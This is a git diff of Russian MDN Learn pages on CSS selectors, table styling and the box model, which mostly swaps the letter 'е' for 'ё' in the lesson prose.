        Как вы знаете из курса о HTML, элементы могут иметь атрибуты, которые дают дополнительную информацию о размечаемом элементе. В CSS вы можете использовать селекторы атрибута для стилизации элементов с определенными атрибутами. Этот урок покажет вам, как использовать эти очень полезные селекторы.
        
+
        Как вы знаете из курса о HTML, элементы могут иметь атрибуты, которые дают дополнительную информацию о размечаемом элементе. В CSS вы можете использовать селекторы атрибута для стилизации элементов с определёнными атрибутами. Этот урок покажет вам, как использовать эти очень полезные селекторы.
        @@ -120,14 +120,14 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Attribute_selectors

        Чувствительность к регистру

        -

        Если вы хотите выбрать значения атрибута без учета регистра, вы можете использовать значение i перед закрывающей скобкой. Этот признак говорит браузеру, что символы ASCII должны сопоставляться без учета регистра. Без этого признака значения будут сопоставлены в соответствии с чувствительностью к регистру языка документа — в случае HTML такая чувствительность присутствует.

        +

        Если вы хотите выбрать значения атрибута без учёта регистра, вы можете использовать значение i перед закрывающей скобкой. Этот признак говорит браузеру, что символы ASCII должны сопоставляться без учёта регистра. Без этого признака значения будут сопоставлены в соответствии с чувствительностью к регистру языка документа — в случае HTML такая чувствительность присутствует.

        В примере ниже первый селектор выберет значение, начинающееся с a — это соответствует только первому элементу списка, потому что два других элемента списка начинаются с заглавной буквы A. Второй селектор использует признак нечувствительности к регистру и поэтому выберет все элементы списка.

        {{EmbedGHLiveSample("css-examples/learn/selectors/attribute-case.html", '100%', 800)}}

        -

        Примечание: Существует также более новое значение s, которое вызывает сопоставление с учетом регистра в контекстах, где сопоставление обычно не учитывает регистр, однако это не так хорошо поддерживается в браузерах и не очень полезно в контексте HTML.

        +

        Примечание: Существует также более новое значение s, которое вызывает сопоставление с учётом регистра в контекстах, где сопоставление обычно не учитывает регистр, однако это не так хорошо поддерживается в браузерах и не очень полезно в контексте HTML.

        Следующие шаги

        diff --git a/files/ru/learn/css/building_blocks/selectors/combinators/index.html b/files/ru/learn/css/building_blocks/selectors/combinators/index.html index c5dcf8b0c1..1905482b84 100644 --- a/files/ru/learn/css/building_blocks/selectors/combinators/index.html +++ b/files/ru/learn/css/building_blocks/selectors/combinators/index.html @@ -31,7 +31,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Combinators 
        body article p
        -

        В приведенном ниже примере выбирается только тот элемент <p>, который находится внутри элемента с классом.box.

        +

        В приведённом ниже примере выбирается только тот элемент <p>, который находится внутри элемента с классом.box.

        {{EmbedGHLiveSample("css-examples/learn/selectors/descendant.html", '100%', 500)}}

        @@ -53,7 +53,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Combinators 
        p + img
        -

        Распространенный вариант использования — сделать что-то с абзацем, который следует за заголовком, как в примере ниже. Здесь мы ищем абзац, который непосредственно примыкает к <h1>, и стилизуем его.

        +

        Распространённый вариант использования — сделать что-то с абзацем, который следует за заголовком, как в примере ниже. Здесь мы ищем абзац, который непосредственно примыкает к <h1>, и стилизуем его.

        Если вы вставите какой-то другой элемент, например <h2> между <h1> и <p>, вы обнаружите, что абзац больше не соответствует селектору и поэтому не получает цвет фона и переднего плана, применяемый, когда элемент является соседним.

        @@ -65,7 +65,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Combinators 
        p ~ img
        -

        В приведенном ниже примере мы выбираем все элементы <p>, которые идут после <h1>, и хотя в документе есть также <div>, тем не менее <p>, который идет после него, будет выбран.

        +

        В приведённом ниже примере мы выбираем все элементы <p>, которые идут после <h1>, и хотя в документе есть также <div>, тем не менее <p>, который идёт после него, будет выбран.

        {{EmbedGHLiveSample("css-examples/learn/selectors/general.html", '100%', 600)}}

        @@ -85,7 +85,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Combinators

        Двигаемся дальше

        -

        Это последний раздел в наших уроках по селекторам. Далее мы перейдем к другой важной части CSS — CSS модель коробки.

        +

        Это последний раздел в наших уроках по селекторам. Далее мы перейдём к другой важной части CSS — CSS модель коробки.

        {{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements", "Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks")}}

        diff --git a/files/ru/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html b/files/ru/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html index 8720c0a277..cea4ff52bc 100644 --- a/files/ru/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html +++ b/files/ru/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html @@ -47,7 +47,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_p

        {{EmbedGHLiveSample("css-examples/learn/selectors/first-child2.html", '100%', 700)}}

        -

        Все псевдоклассы ведут себя подобным образом. Они нацелены на какой-то фрагмент вашего документа, находящийся в определенном состоянии, и ведут себя так, как если бы вы добавили класс в свой HTML. Рассмотрим некоторые другие примеры в MDN:

        +

        Все псевдоклассы ведут себя подобным образом. Они нацелены на какой-то фрагмент вашего документа, находящийся в определённом состоянии, и ведут себя так, как если бы вы добавили класс в свой HTML. Рассмотрим некоторые другие примеры в MDN:

        • :last-child
          • @@ -80,7 +80,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_p

          Примечание: Некоторые ранние псевдоэлементы использовали синтаксис одинарного двоеточия, которое вы можете иногда видеть в коде или примерах. Современные браузеры поддерживают ранние псевдоэлементы с одинарным или двойным двоеточием синтаксиса для обратной совместимости.

          -

          Например, если вы хотите выбрать первую строку абзаца, вы могли бы обернуть ее в <span> и использовать селектор элемента; однако это может не сработать, если количество слов, которые вы обернули, будет больше или меньше ширины родительского элемента. Поскольку мы, как правило, не знаем, сколько слов поместится в строке — т.к. их количество меняется, если меняется ширина экрана или размер шрифта — то надёжного решения при помощи HTML нет.

          +

          Например, если вы хотите выбрать первую строку абзаца, вы могли бы обернуть её в <span> и использовать селектор элемента; однако это может не сработать, если количество слов, которые вы обернули, будет больше или меньше ширины родительского элемента. Поскольку мы, как правило, не знаем, сколько слов поместится в строке — т.к. их количество меняется, если меняется ширина экрана или размер шрифта — то надёжного решения при помощи HTML нет.

          Селектор псевдоэлемента ::first-line сделает это наверняка — если количество слов увеличивается или уменьшается, он всё равно будет выбирать только первую строку.

          @@ -103,13 +103,13 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_p

          Существует пара специальных псевдоэлементов, которые используются вместе со свойством content для вставки содержимого в документ с помощью CSS.

          -

          Вы можете использовать их для вставки строки текста, как в приведенном ниже живом примере. Попробуйте изменить текстовое значение свойства {{cssxref("content")}} и вы увидите, как изменится результат. Можете также изменить псевдоэлемент ::before на ::after и увидите, что текст вставлен в конце элемента, а не в начале.

          +

          Вы можете использовать их для вставки строки текста, как в приведённом ниже живом примере. Попробуйте изменить текстовое значение свойства {{cssxref("content")}} и вы увидите, как изменится результат. Можете также изменить псевдоэлемент ::before на ::after и увидите, что текст вставлен в конце элемента, а не в начале.

          {{EmbedGHLiveSample("css-examples/learn/selectors/before.html", '100%', 400)}}

          Однако вставка строк текста из CSS в реальности происходит не слишком часто, поскольку этот текст недоступен для некоторых экранных дикторов и его будет трудно найти и отредактировать в будущем.

          -

          Более корректным использованием этих псевдоэлементов является вставка значка, например маленькой стрелки, добавленной в приведенном ниже примере, которая является визуальным указателем, не предназначенным для зачитывания с помощью экранного диктора:

          +

          Более корректным использованием этих псевдоэлементов является вставка значка, например маленькой стрелки, добавленной в приведённом ниже примере, которая является визуальным указателем, не предназначенным для зачитывания с помощью экранного диктора:

          {{EmbedGHLiveSample("css-examples/learn/selectors/after-icon.html", '100%', 400)}}

          @@ -137,7 +137,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_p
        - + @@ -185,7 +185,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_p - + @@ -209,7 +209,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_p - + @@ -253,19 +253,19 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Pseudo-classes_and_p - + - + - + - + diff --git a/files/ru/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html b/files/ru/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html index c110b26aa6..3249acf691 100644 --- a/files/ru/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html +++ b/files/ru/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html @@ -38,7 +38,7 @@ original_slug: Learn/CSS/Building_blocks/Селекторы/Type_Class_and_ID_Se

        Универсальный селектор

        -

        Универсальный селектор обозначается звездочкой (*). Он выбирает всё в документе (или внутри родительского элемента, если он сцеплен с другим элементом и с комбинатором потомка). В следующем примере мы используем универсальный селектор, чтобы убрать внешние отступы у всех элементов. Несмотря на стилизацию по умолчанию, добавленную браузером, — она раздвигает заголовки и абзацы с помощью отступов, — всё плотно сжато.

        +

        Универсальный селектор обозначается звёздочкой (*). Он выбирает всё в документе (или внутри родительского элемента, если он сцеплен с другим элементом и с комбинатором потомка). В следующем примере мы используем универсальный селектор, чтобы убрать внешние отступы у всех элементов. Несмотря на стилизацию по умолчанию, добавленную браузером, — она раздвигает заголовки и абзацы с помощью отступов, — всё плотно сжато.

        {{EmbedGHLiveSample("css-examples/learn/selectors/universal.html", '100%', 750)}}

        diff --git a/files/ru/learn/css/building_blocks/styling_tables/index.html b/files/ru/learn/css/building_blocks/styling_tables/index.html index 2dafd6f79b..cc6475421b 100644 --- a/files/ru/learn/css/building_blocks/styling_tables/index.html +++ b/files/ru/learn/css/building_blocks/styling_tables/index.html @@ -28,7 +28,7 @@ translation_of: Learn/CSS/Building_blocks/Styling_tables

        Типичная HTML таблица

        -

        Давайте начнем с рассмотрения типичной HTML таблицы. Когда мы говорим о примерах типичных HTML таблиц обычно речь идет о обуви, погоде или сотрудниках; мы решили сделать это более интересным создав таблицу о знаменитых панк группах Великобритании. Разметка выглядит следующим образом:

        +

        Давайте начнём с рассмотрения типичной HTML таблицы. Когда мы говорим о примерах типичных HTML таблиц обычно речь идёт о обуви, погоде или сотрудниках; мы решили сделать это более интересным создав таблицу о знаменитых панк группах Великобритании. Разметка выглядит следующим образом:

        <table>
   <caption>A summary of the UK's most famous punk bands</caption>
@@ -125,12 +125,12 @@ th, td {
 
        Наиболее важные части следующие:
        
 
 
          
- 
        • Свойство {{cssxref("table-layout")}} со значением fixed как правило полезно использовать для вашей таблицы, это делает поведение таблицы немного более предсказуемым, чем значение по умолчанию. Обычно столбцы таблицы имеют размер в зависимости от того сколько в них контента, что приводит иногда к некоторым странным результатам. Когда table-layout: fixed, размер ваших столбцов определяется шириной их заголовков и делает их контент соответствующего размера. Вот почему вы выбрали четыре разных заголовка с помощью селектора thead th:nth-child(n) ({{cssxref(":nth-child")}}) ("Выберите n-ый дочерний элемент {{htmlelement("th")}} в последовательности, внутри элемента {{htmlelement("thead")}}") и задать им заданную в процентах ширину. Ширина колонки соответствует ширине ее заголовка, это правильное решение при определении размеров колонок таблицы. Крис Койер (Chris Coyier) более подробно рассматривает эту технику в статье Fixed Table Layouts.
          
+ 
        • Свойство {{cssxref("table-layout")}} со значением fixed как правило полезно использовать для вашей таблицы, это делает поведение таблицы немного более предсказуемым, чем значение по умолчанию. Обычно столбцы таблицы имеют размер в зависимости от того сколько в них контента, что приводит иногда к некоторым странным результатам. Когда table-layout: fixed, размер ваших столбцов определяется шириной их заголовков и делает их контент соответствующего размера. Вот почему вы выбрали четыре разных заголовка с помощью селектора thead th:nth-child(n) ({{cssxref(":nth-child")}}) ("Выберите n-ый дочерний элемент {{htmlelement("th")}} в последовательности, внутри элемента {{htmlelement("thead")}}") и задать им заданную в процентах ширину. Ширина колонки соответствует ширине её заголовка, это правильное решение при определении размеров колонок таблицы. Крис Койер (Chris Coyier) более подробно рассматривает эту технику в статье Fixed Table Layouts.
          
   
          
-  Мы также использовали {{cssxref("width")}} 100%, что означает, что таблица заполнит любой контейнер и будет отзывчивой (хотя для этого потребуется еще некоторая работа для правильного отображения на экранах небольших размеров).
          • 
+  Мы также использовали {{cssxref("width")}} 100%, что означает, что таблица заполнит любой контейнер и будет отзывчивой (хотя для этого потребуется ещё некоторая работа для правильного отображения на экранах небольших размеров).
  
        • Свойство {{cssxref("border-collapse")}} со значением collapse это стандартная практика при стилизации любой таблицы. По умолчанию, когда вы задали рамки для элементов таблицы, все они будут иметь пробелы между собой, как показано на рисунке ниже: Это не очень хорошо выглядит (хотя может это то что вам нужно, кто знает?). Если установить border-collapse: collapse;  рамки схлопываются в одну и так выглядит намного лучше: 
          • 
  
        • Мы установили {{cssxref("border")}} вокруг всей таблицы, это понадобится когда чуть позже мы будет устанавливать рамки вокруг header и footer таблицы — когда по периметру всей таблицы нет рамки и граница заканчивается просто отступом, таблица выглядит странно и разрозненно.
          • 
- 
        • Мы установили {{cssxref("padding")}} на элементах {{htmlelement("th")}} и {{htmlelement("td")}} — это создает в талице воздух, который позволяет ей дышать, делая ее более понятной.
          • 
+ 
        • Мы установили {{cssxref("padding")}} на элементах {{htmlelement("th")}} и {{htmlelement("td")}} — это создаёт в талице воздух, который позволяет ей дышать, делая её более понятной.
          • 
 
        
 
 
        На этом этапе наша таблица выглядит уже гораздо лучше:
        
@@ -139,9 +139,9 @@ th, td {
 
 
        Немного простой типографики
        
 
-
        Теперь мы еще кое-что изменим.
        
+
        Теперь мы ещё кое-что изменим.
        
 
-
        Во-первых, мы пойдем и найдем на Google Fonts шрифт который подходит в нашей ситуации с таблицей о панк группах. Вы можете можете выбрать для себя другой шрифт если захотят, тогда вам понадобится заменить представленный {{htmlelement("link")}} элемент и изменить объявление {{cssxref("font-family")}} на выбранный вами Google Fonts шрифт.
        
+
        Во-первых, мы пойдём и найдём на Google Fonts шрифт который подходит в нашей ситуации с таблицей о панк группах. Вы можете можете выбрать для себя другой шрифт если захотят, тогда вам понадобится заменить представленный {{htmlelement("link")}} элемент и изменить объявление {{cssxref("font-family")}} на выбранный вами Google Fonts шрифт.
        
 
 
        Добавьте элемент {{htmlelement("link")}} в блок head вашего HTML, на строчку выше существующего элемента <link>:
        
 
@@ -190,7 +190,7 @@ tfoot th {
 
 
        Графика и цвета
        
 
-
        И наконец-то графика и цвета! Наша таблица заполнена тем что имеет отношение к панкам, поэтому нам нужно придать ей яркий впечатляющий вид. Не беспокойтесь, вам не обязательно делать таблицу слишком кричащей — вы можете выбрать что-то более утонченное и со вкусом.
        
+
        И наконец-то графика и цвета! Наша таблица заполнена тем что имеет отношение к панкам, поэтому нам нужно придать ей яркий впечатляющий вид. Не беспокойтесь, вам не обязательно делать таблицу слишком кричащей — вы можете выбрать что-то более утончённое и со вкусом.
        
 
 
        Следующий шаг это добавить следующий CSS в ваш style.css файл в самом низу:
        
 
@@ -208,9 +208,9 @@ thead th, tfoot th, tfoot td {
 
 
        Опять же здесь нет ничего конкретно для таблиц, но стоит отметить несколько вещей.
        
 
-
        Мы добавили {{cssxref("background-image")}} в {{htmlelement("thead")}}, {{htmlelement("tfoot")}} и изменили {{cssxref("color")}} для всего текста внутри header и footer на белый (и еще {{cssxref("text-shadow")}}) для лучшей читаемости. Вы должны всегда быть уверены что ваш текст хорошо контрастирует с фоном, для обеспечения читаемости.
        
+
        Мы добавили {{cssxref("background-image")}} в {{htmlelement("thead")}}, {{htmlelement("tfoot")}} и изменили {{cssxref("color")}} для всего текста внутри header и footer на белый (и ещё {{cssxref("text-shadow")}}) для лучшей читаемости. Вы должны всегда быть уверены что ваш текст хорошо контрастирует с фоном, для обеспечения читаемости.
        
 
-
        Также мы добавили линейный градиент для {{htmlelement("th")}} и {{htmlelement("td")}} элементов внутри header и footer для придания легкой приятной текстуры, а также установили этим элементам яркие пурпурные границы. Полезно иметь несколько вложенных элементов, это позволяет накладывать несколько стилей друг на друга. Да, мы могли бы установить и фоновое изображение, и линейный градиент на {{htmlelement("thead")}} и {{htmlelement("tfoot")}} элементы используя множественные фоновые изображения, но мы решили сделать это отдельно для старых браузеров, которые не поддерживают несколько фоновых изображений и линейные градиенты.
        
+
        Также мы добавили линейный градиент для {{htmlelement("th")}} и {{htmlelement("td")}} элементов внутри header и footer для придания лёгкой приятной текстуры, а также установили этим элементам яркие пурпурные границы. Полезно иметь несколько вложенных элементов, это позволяет накладывать несколько стилей друг на друга. Да, мы могли бы установить и фоновое изображение, и линейный градиент на {{htmlelement("thead")}} и {{htmlelement("tfoot")}} элементы используя множественные фоновые изображения, но мы решили сделать это отдельно для старых браузеров, которые не поддерживают несколько фоновых изображений и линейные градиенты.
        
 
 
        Полосатая зебра
        
 
@@ -233,8 +233,8 @@ table {
 }
          -
        • Ранее вы видели как {{cssxref(":nth-child")}} селектор использовался для выбора специфичных дочерних элементов. В качестве параметра также может быть передана формула, тогда он будет выбирать последовательность элементов. Так формула 2n-1 выберет все нечетные дочерние элементы (1, 3, 5 и т.д.), а формула 2n выберет все четные (2, 4, 6 и т.д.). Мы использовали в нашем коде ключевые слова odd и even, которые делают тоже самое что и формулы выше. В данном случае мы устанавливаем четным и нечетным строкам разные (яркие) цвета.
          • -
        • Еще мы добавили повторяющийся плиткой фон ко всем строкам тела таблицы, который добавляет немного шума (полупрозрачный .png с небольшим количеством визуальных искажений на нем), чтобы получилась некоторая текстура.
          • +
        • Ранее вы видели как {{cssxref(":nth-child")}} селектор использовался для выбора специфичных дочерних элементов. В качестве параметра также может быть передана формула, тогда он будет выбирать последовательность элементов. Так формула 2n-1 выберет все нечётные дочерние элементы (1, 3, 5 и т.д.), а формула 2n выберет все чётные (2, 4, 6 и т.д.). Мы использовали в нашем коде ключевые слова odd и even, которые делают тоже самое что и формулы выше. В данном случае мы устанавливаем чётным и нечётным строкам разные (яркие) цвета.
          • +
        • Ещё мы добавили повторяющийся плиткой фон ко всем строкам тела таблицы, который добавляет немного шума (полупрозрачный .png с небольшим количеством визуальных искажений на нем), чтобы получилась некоторая текстура.
        • И наконец мы установили для таблицы сплошной цвет фона, который обеспечит фон строкам таблицы в том случае если браузер не поддерживает селектор :nth-child.
        @@ -258,7 +258,7 @@ table { letter-spacing: 1px; } -

        Здесь нет ничего особенного, кроме свойства {{cssxref("caption-side")}}, которое имеет значение bottom. В этом случае заголовок будет размещен внизу таблицы и это вместе со всем остальным обеспечивает нашей таблице окончательный вид (можно посмотреть по ссылке punk-bands-complete.html):

        +

        Здесь нет ничего особенного, кроме свойства {{cssxref("caption-side")}}, которое имеет значение bottom. В этом случае заголовок будет размещён внизу таблицы и это вместе со всем остальным обеспечивает нашей таблице окончательный вид (можно посмотреть по ссылке punk-bands-complete.html):

        @@ -274,14 +274,14 @@ table {
      • Сделайте свою разметку простой и гибкой, например, используя для этого проценты, что сделает дизайн более отзывчивым.
      • Используйте {{cssxref("table-layout")}}: fixed для более понятного поведения разметки, при этом легко установить ширину столбцов, установив ширину {{cssxref("width")}} для заголовков таблицы ({{htmlelement("th")}}).
      • Используйте {{cssxref("border-collapse")}}: collapse, которое схлопнет границы элементов таблицы, что обеспечит аккуратный внешний вид.
        • -
      • Используйте {{htmlelement("thead")}}, {{htmlelement("tbody")}} и {{htmlelement("tfoot")}} чтобы разбить вашу таблицу на логические фрагменты и предоставив таким образом дополнительные точки для применения CSS, это дает возможность накладывать стили друг на друга, если это необходимо.
        • +
      • Используйте {{htmlelement("thead")}}, {{htmlelement("tbody")}} и {{htmlelement("tfoot")}} чтобы разбить вашу таблицу на логические фрагменты и предоставив таким образом дополнительные точки для применения CSS, это даёт возможность накладывать стили друг на друга, если это необходимо.
      • Используйте полоски зебры, чтобы облегчить чтение между строк.
      • Используйте {{cssxref("text-align")}} чтобы выровнять текст в {{htmlelement("th")}} и {{htmlelement("td")}} для более аккуратного и удобного оформления.

        • Заключение

        -

        Несмотря на головокружительные успехи достигнутые в стилизации таблиц, у нас есть еще кое-что чем мы можем занять наше время. В следующей главе мы рассмотрим некоторые продвинутые эффекты, уже устоявшиеся (например, тени box shadows) и те которые только недавно появились в браузерах, такие как режимы наложения blend-mode и фильтры.

        +

        Несмотря на головокружительные успехи достигнутые в стилизации таблиц, у нас есть ещё кое-что чем мы можем занять наше время. В следующей главе мы рассмотрим некоторые продвинутые эффекты, уже устоявшиеся (например, тени box shadows) и те которые только недавно появились в браузерах, такие как режимы наложения blend-mode и фильтры.

        {{PreviousMenuNext("Learn/CSS/Styling_boxes/Borders", "Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes")}}

        diff --git a/files/ru/learn/css/building_blocks/the_box_model/index.html b/files/ru/learn/css/building_blocks/the_box_model/index.html index 19fb0e66d7..96ba3fb315 100644 --- a/files/ru/learn/css/building_blocks/the_box_model/index.html +++ b/files/ru/learn/css/building_blocks/the_box_model/index.html @@ -99,7 +99,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model

        Что такое модель коробки CSS?

        -

        Полностью блочная модель в CSS применяется к блочным элементам, строчные элементы используют не все свойства, определенные блочной моделью. Модель определяет, как разные части элемента — поля, границы, отступы и содержимое — работают вместе, чтобы создать объект, который вы можете увидеть на странице. Чтобы добавить дополнительную сложность элементу, используются стандартные и альтернативные блочные модели.

        +

        Полностью блочная модель в CSS применяется к блочным элементам, строчные элементы используют не все свойства, определённые блочной моделью. Модель определяет, как разные части элемента — поля, границы, отступы и содержимое — работают вместе, чтобы создать объект, который вы можете увидеть на странице. Чтобы добавить дополнительную сложность элементу, используются стандартные и альтернативные блочные модели.

        Составляющие элемента

        @@ -151,7 +151,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model box-sizing: border-box; }         -

        Если вы хотите, чтобы все ваши элементы использовали альтернативную блочную модель, что является распространенным выбором среди разработчиков, установите свойство box-sizing для элемента <html>, затем настройте все элементы для наследования этого значения (inherit), как показано на фрагменте ниже. Если вы хотите понять, что стоит за этим, смотрите статью the CSS Tricks article on box-sizing.

        +

        Если вы хотите, чтобы все ваши элементы использовали альтернативную блочную модель, что является распространённым выбором среди разработчиков, установите свойство box-sizing для элемента <html>, затем настройте все элементы для наследования этого значения (inherit), как показано на фрагменте ниже. Если вы хотите понять, что стоит за этим, смотрите статью the CSS Tricks article on box-sizing.

        html {
   box-sizing: border-box;
@@ -166,7 +166,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model
 
 
        Играем с блочными моделями
        
 
-
        В примере ниже, вы можете видеть 2 объекта. Оба имеют класс .box, который дает им одинаковые параметры width, height, margin, border, и padding. Единственное различие в том, что второй объект объявлен по альтернативной блочной модели.
        
+
        В примере ниже, вы можете видеть 2 объекта. Оба имеют класс .box, который даёт им одинаковые параметры width, height, margin, border, и padding. Единственное различие в том, что второй объект объявлен по альтернативной блочной модели.
        
 
 
        Можете ли вы изменить размер второго объекта (добавляя CSS в класс .alternate) чтобы ширина и высота совпали с первым блоком?
        
 
@@ -188,13 +188,13 @@ translation_of: Learn/CSS/Building_blocks/The_box_model
 
 
        Поля, отступы и границы
        
 
-
        Вы уже видели свойства {{cssxref ("margin")}}, {{cssxref ("padding")}} и {{cssxref ("border")}} в работе в приведенном выше примере. Свойства, используемые в этом примере, являются общими и позволяют нам устанавливать все четыре стороны поля одновременно. Эти параметры также имеют эквивалентные свойства, которые позволяют индивидуально управлять разными сторонами поля.
        
+
        Вы уже видели свойства {{cssxref ("margin")}}, {{cssxref ("padding")}} и {{cssxref ("border")}} в работе в приведённом выше примере. Свойства, используемые в этом примере, являются общими и позволяют нам устанавливать все четыре стороны поля одновременно. Эти параметры также имеют эквивалентные свойства, которые позволяют индивидуально управлять разными сторонами поля.
        
  
        
  Давайте рассмотрим эти свойства более подробно.
        
 
 
        Поле внешнего отступа (margin)
        
 
-
        Margin это невидимое пространство вокруг вашего элемента. Оно отталкивает другие элементы от него. Margin может быть как положительным, так и отрицательным. Негативное значение для внешнего отступа может привести к перекрытию некоторых элементов страницы. Независимо от того, используете ли вы стандартную или альтернативную блочную модель, margin всегда добавляется после расчета размера видимого бокса.
        
+
        Margin это невидимое пространство вокруг вашего элемента. Оно отталкивает другие элементы от него. Margin может быть как положительным, так и отрицательным. Негативное значение для внешнего отступа может привести к перекрытию некоторых элементов страницы. Независимо от того, используете ли вы стандартную или альтернативную блочную модель, margin всегда добавляется после расчёта размера видимого бокса.
        
 
 
        Мы можем контролировать все поля элемента сразу, используя свойство {{cssxref ("margin")}}, или каждую сторону индивидуально, используя эквивалентные полные свойства:
        
 
@@ -219,7 +219,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model
 
 
        {{EmbedGHLiveSample("css-examples/learn/box-model/margin-collapse.html", '100%', 1000)}} 
        
 
-
        Существует ряд правил, которые определяют, когда поля уменьшаются, а когда нет. Для получения подробной информации см. margin collapsing. Главное, что нужно сейчас помнить, — это то, что происходит схлопывание полей. Если вы создаете пространство с полями и не получаете ожидаемого результата, вероятно, именно это и происходит. 
        
+
        Существует ряд правил, которые определяют, когда поля уменьшаются, а когда нет. Для получения подробной информации см. margin collapsing. Главное, что нужно сейчас помнить, — это то, что происходит схлопывание полей. Если вы создаёте пространство с полями и не получаете ожидаемого результата, вероятно, именно это и происходит. 
        
 
 
        Границы
        
 
@@ -227,9 +227,9 @@ translation_of: Learn/CSS/Building_blocks/The_box_model
 
 
        Для стилизации границ существует большое количество различных свойств — имеется четыре границы,  и каждая из них имеет свой стиль, ширину и цвет, которыми мы можем манипулировать.
        
 
-
        Вы можете установить ширину, стиль или цвет всех четырех границ сразу используя {{cssxref("border")}} свойства.
        
+
        Вы можете установить ширину, стиль или цвет всех четырёх границ сразу используя {{cssxref("border")}} свойства.
        
 
-
        Чтобы установить индивидуальные свойства для каждой из четырех сторон вы можете использовать:
        
+
        Чтобы установить индивидуальные свойства для каждой из четырёх сторон вы можете использовать:
        
 
 
          
  
        • {{cssxref("border-top")}}
          • 
@@ -263,13 +263,13 @@ translation_of: Learn/CSS/Building_blocks/The_box_model
  
        • {{cssxref("border-left-color")}}
          • 
 
        
 
-
        В примере ниже мы использовали различные сокращенные и длинные способы создания границ. Поиграйте с различными свойствами чтобы проверить как вы поняли принципы их работы. MDN страницы свойств границ дадут вам информацию о различных стилях, которые вы можете использовать.
        
+
        В примере ниже мы использовали различные сокращённые и длинные способы создания границ. Поиграйте с различными свойствами чтобы проверить как вы поняли принципы их работы. MDN страницы свойств границ дадут вам информацию о различных стилях, которые вы можете использовать.
        
 
 
        {{EmbedGHLiveSample("css-examples/learn/box-model/border.html", '100%', 1000)}} 
        
 
 
        Padding
        
 
-
        Padding расположен между границей и областью контента блока. В отличии от внешних отступов (margin), вы не можете использовать отрицательные значения для padding, поэтому значения должны быть положительными или равными 0. Любой, примененный к вашим элементам фон, будет отображаться под областью padding, и поэтому он обычно используется чтобы отодвинуть контент от границы.
        
+
        Padding расположен между границей и областью контента блока. В отличии от внешних отступов (margin), вы не можете использовать отрицательные значения для padding, поэтому значения должны быть положительными или равными 0. Любой, применённый к вашим элементам фон, будет отображаться под областью padding, и поэтому он обычно используется чтобы отодвинуть контент от границы.
        
 
 
        Вы можете контролировать значение padding для всех сторон элемента, используя {{cssxref("padding")}} свойство, или для каждой стороны индивидуально, используя используя следующие свойства:
        
 
@@ -282,7 +282,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model
 
 
        Если вы измените значения padding в классе .box в примере ниже, вы можете увидеть что это изменяет положение текста относительно поля.
        
 
-
        Вы также можете изменить padding в классе .container, который создает пространство между контейнером и боксом. Padding может быть изменен для любого элемента, и создать пространство между этой и любой другой границей внутри элемента.
        
+
        Вы также можете изменить padding в классе .container, который создаёт пространство между контейнером и боксом. Padding может быть изменён для любого элемента, и создать пространство между этой и любой другой границей внутри элемента.
        
 
 
        {{EmbedGHLiveSample("css-examples/learn/box-model/padding.html", '100%', 800)}} 
        
 
@@ -290,7 +290,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model
 
 
        Всё, сказанное ранее, полностью применимо к блочным элементам. Некоторые из свойств могут быть также применены и к строчным (inline) элементам, например, элемент, создаваемый с помощью <span>.
        
 
-
        В приведенном ниже примере у нас есть <span> внутри абзаца, и мы применили к нему width, height, margin, border и padding. Вы можете видеть, что ширина и высота игнорируются. Вертикальные поля, отступы и границы соблюдаются, но они не изменяют отношения другого содержимого к нашему строчному элементу, и поэтому отступ и граница перекрывают другие слова в абзаце. Горизонтальные отступы, поля и границы соблюдаются и заставят другой контент отодвинуться от нашего элемента.
        
+
        В приведённом ниже примере у нас есть <span> внутри абзаца, и мы применили к нему width, height, margin, border и padding. Вы можете видеть, что ширина и высота игнорируются. Вертикальные поля, отступы и границы соблюдаются, но они не изменяют отношения другого содержимого к нашему строчному элементу, и поэтому отступ и граница перекрывают другие слова в абзаце. Горизонтальные отступы, поля и границы соблюдаются и заставят другой контент отодвинуться от нашего элемента.
        
 
 
        {{EmbedGHLiveSample("css-examples/learn/box-model/inline-box-model.html", '100%', 800)}} 
        
 
@@ -313,7 +313,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model
 
 
        Это может быть полезно, когда вы хотите создать ссылку с большой областью попадания, добавив padding. <a> - это строчный элемент, такой же как <span>; вы можете использовать display: inline-block, чтобы разрешить установку отступов, что упростит пользователю переход по ссылке.
        
 
-
        Вы довольно часто видите это на панели навигации. Приведенная ниже навигация отображается в виде строки с использованием flexbox, и мы добавили отступы к элементу <a>, также мы хотим чтобы изменялся background-color при наведении курсора на <a>. Отступы перекрывают границу элемента <ul>. Это потому, что <a> является строчным элементом.
        
+
